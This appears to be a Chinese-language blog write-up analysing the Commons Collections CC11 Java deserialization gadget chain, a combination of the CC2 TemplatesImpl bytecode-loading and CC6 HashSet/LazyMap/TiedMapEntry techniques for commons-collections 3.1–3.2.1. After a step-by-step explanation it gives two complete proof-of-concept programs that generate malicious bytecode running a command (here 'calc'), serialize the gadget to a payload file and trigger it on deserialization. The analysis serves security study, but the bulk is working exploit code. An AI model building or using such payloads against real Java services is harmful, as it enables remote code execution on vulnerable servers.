0x00、前言 CC1-7分析完,接着cc11使用比较广泛(优势:使用到字节码加载且cc组件版本在3.1-3.2.1),接着分析下CC11(CC2+CC6的组合变式)。该链我认为跟CCK1链区别不是很大,暂且算在同一个利用链链上面。
0x01、分析 回顾 CC2(TemplatesImpl):
通过反射调用InvokerTransformer构造方法传递方法名getOutputProperties/newTransformer。
通过javassist生成恶意代码的字节码。
通过TemplatesImpl将字节码转化成类。
将反射InvokerTransformer对象作为比较器传递入PriorityQueue优先级队列。
将TemplatesImpl对象元素添加入PriorityQueue队列。
在比较器进行元素比较时触发TemplatesImpl的getOutputProperties/newTransformer方法,触发漏洞。
CC6:
生成LazyMap对象,将InvokerTransformer利用方法串起来的ChainedTransformer对象传入LazyMap构造方法。
将LazyMap对象传入TiedMapEntry类构造方法,再通过TiedMapEntry.hashCode()方法去调用TiedMapEntry.getValue()方法,最后调用到lazyMap.get()方法。
通过使用hashmap的put方法添加元素时调用hash(key)方法,进而调用key.hashCode()方法,将TiedMapEntry对象作为keyput入hashmap中,达到调用TiedMapEntry.hashCode()的目的(hashSet同理,本质上都是调用hashmap)。
cc2和cc6的分析:(就不把相同部分贴进来了分析思路即可)cc2 cc6
分析 cc11使用cc2的字节码再加上cc6的hashset(hashmap同理)进行组合变式,通过hashset的添加值去触发字节码加载达到漏洞效果。
TemplatesImpl字节码加载部分见cc2分析中写的即可,主要目的是调用newTransformer/getOutputProperties方法来对字节码加载进行实例化,从而触发漏洞。
cc6利用原理 接着先理一下cc6中后半段得利用
Lazymap调用decorate方法对Lazymap进行实例化对象,同时传递参数Transformer factory
调用构造方法对factory变量进行赋值
然后通过调用lazymap的get方法调用factory.transform(key)方法
Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer transformerChain = new ChainedTransformer (transformers);
然后将上面的transformerChain变量传递实例化Lazymap的factory,达到调用transformers.transform(),触发漏洞。
然后就是找到在哪调用的LazyMap.get方法,cc6中就是通过TiedMapEntry.getValue()去调用get方法
接着上一步hashCode方法调用getValue()
然后通过hashset调用hashCode,调用情况如下,将TiedMapEntry作为key,调用hashset.add(key)即可调用key.hashCode()即TiedMapEntry.hashCode()触发漏洞
cc11分析 漏洞原理知道了,现在就看cc11中hashset如何调用到TemplatesImpl字节码的newTransformer/getOutputProperties方法
主要变动在链转换器的调用
Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer" ).getDeclaredConstructor(String.class);cons.setAccessible(true ); InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer" );
cc11通过反射调用invokerTransformer对象构造参数,并将newTransformer方法名传入
然后调用LazyMap调用decorate方法对Lazymap进行实例化对象,同时传递参数Transformer factory(参数即为invokerTransformer对象),目的调用invokerTransformer.transform()
只需要传递的key为TemplatesImpl对象,就能调用invokerTransformer.transform(TemplatesImpl),即反射调用TemplatesImpl.newTransformer方法,触发漏洞。
通过TiedMapEntry调用get方法,其中key参数即为TemplatesImpl对象目的调用get(TemplatesImpl),其中的map参数即为Lazymap对象,目的调用Lazymap.get()方法
因此构造的代码为,后面通过hashset.add进行触发,为了规避本地触发问题,通过反射修改hashset表的key值在cc6中分析提及过。
Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer" ).getDeclaredConstructor(String.class); cons.setAccessible(true ); InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer" ); Map map = new HashMap (); Map Lmap= LazyMap.decorate(map,invokerTransformer); TiedMapEntry TM=new TiedMapEntry (Lmap,templates); HashSet hs=new HashSet (1 ); hs.add("any" ); Field hsset = HashSet.class.getDeclaredField("map" ); hsset.setAccessible(true ); HashMap hsmap=(HashMap) hsset.get(hs); Field table = HashMap.class.getDeclaredField("table" ); table.setAccessible(true ); Object[] tablearray = (Object[])table.get(hsmap); Object node = tablearray[0 ]; for (int i=0 ;i<tablearray.length;i++){ if (tablearray[i]==null ){ continue ; } node = tablearray[i]; break ; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,TM); private static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value);
将TemplatesImpl字节码部分和反序列化部分加上就得到完整的poc:
cc11-poc(hashset) public class CC11Test { public static void main (String[] args) throws Exception { ClassPool pool2 = ClassPool.getDefault(); CtClass ct = pool2.makeClass("People2" ); ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); CtConstructor cons2 = ct.makeClassInitializer(); cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytecode = ct.toBytecode(); byte [][] bytecodes = new byte [][]{bytecode}; TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance(); setFieldValue(templates, "_bytecodes" , bytecodes); setFieldValue(templates, "_class" , null ); setFieldValue(templates, "_name" , "test" ); setFieldValue(templates, "_tfactory" , TransformerFactoryImpl.class.getDeclaredConstructor().newInstance()); Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer" ).getDeclaredConstructor(String.class); cons.setAccessible(true ); InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer" ); Map map = new HashMap (); Map Lmap= LazyMap.decorate(map,invokerTransformer); TiedMapEntry TM=new TiedMapEntry (Lmap,templates); HashSet hs=new HashSet (1 ); hs.add("any" ); Field hsset = HashSet.class.getDeclaredField("map" ); hsset.setAccessible(true ); HashMap hsmap=(HashMap) hsset.get(hs); Field table = HashMap.class.getDeclaredField("table" ); table.setAccessible(true ); Object[] tablearray = (Object[])table.get(hsmap); Object node = tablearray[0 ]; for (int i=0 ;i<tablearray.length;i++){ if (tablearray[i]==null ){ continue ; } node = tablearray[i]; break ; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,TM); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc11payload.ser" )); outputStream.writeObject(hs); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc11payload.ser" )); inputStream.readObject(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); } } private static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
执行效果:
cc11-poc(hashmap) 同理,hashmap同样能作为反序列化入口(hashset相当于套用了hashmap,可以理解为固定value值的hashmap)
public class CC11Test2 { public static void main (String[] args) throws Exception { ClassPool pool2 = ClassPool.getDefault(); CtClass ct = pool2.makeClass("People2" ); ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); CtConstructor cons2 = ct.makeClassInitializer(); cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");" ); byte [] bytecode = ct.toBytecode(); byte [][] bytecodes = new byte [][]{bytecode}; TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance(); setFieldValue(templates, "_bytecodes" , bytecodes); setFieldValue(templates, "_class" , null ); setFieldValue(templates, "_name" , "test" ); setFieldValue(templates, "_tfactory" , TransformerFactoryImpl.class.getDeclaredConstructor().newInstance()); Constructor cons = Class.forName("org.apache.commons.collections.functors.InvokerTransformer" ).getDeclaredConstructor(String.class); cons.setAccessible(true ); InvokerTransformer invokerTransformer = (InvokerTransformer) cons.newInstance("newTransformer" ); Map map = new HashMap (); Map Lmap= LazyMap.decorate(map,invokerTransformer); TiedMapEntry TM=new TiedMapEntry (Lmap,templates); HashMap hm=new HashMap (1 ); hm.put("any" ,"any" ); Field table = HashMap.class.getDeclaredField("table" ); table.setAccessible(true ); Object[] tablearray = (Object[])table.get(hm); Object node = tablearray[0 ]; for (int i=0 ;i<tablearray.length;i++){ if (tablearray[i]==null ){ continue ; } node = tablearray[i]; break ; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,TM); try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("cc11payload-1.ser" )); outputStream.writeObject(hm); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("cc11payload-1.ser" )); inputStream.readObject(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); } } private static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
执行效果:
0x02、总结 cc11很好理解,cc2+cc6的组合变式,将invokerTransformer利用方向替换为调用newTransformer方法,依旧使用hashset(hashmap同理,cc6中提及)作为反序列化入口,通过TiedMapEntry传入lazymap和TemplatesImpl对象,来达到调用TemplatesImpl.newTransformer的目的触发漏洞。
cc11也是在cc3.1-3.2.1组件上使用字节码加载的利用链,在之前cc链的字节码加载都是在cc4版本组件上适用,因此cc11链适用范围比前面的利用链跟广。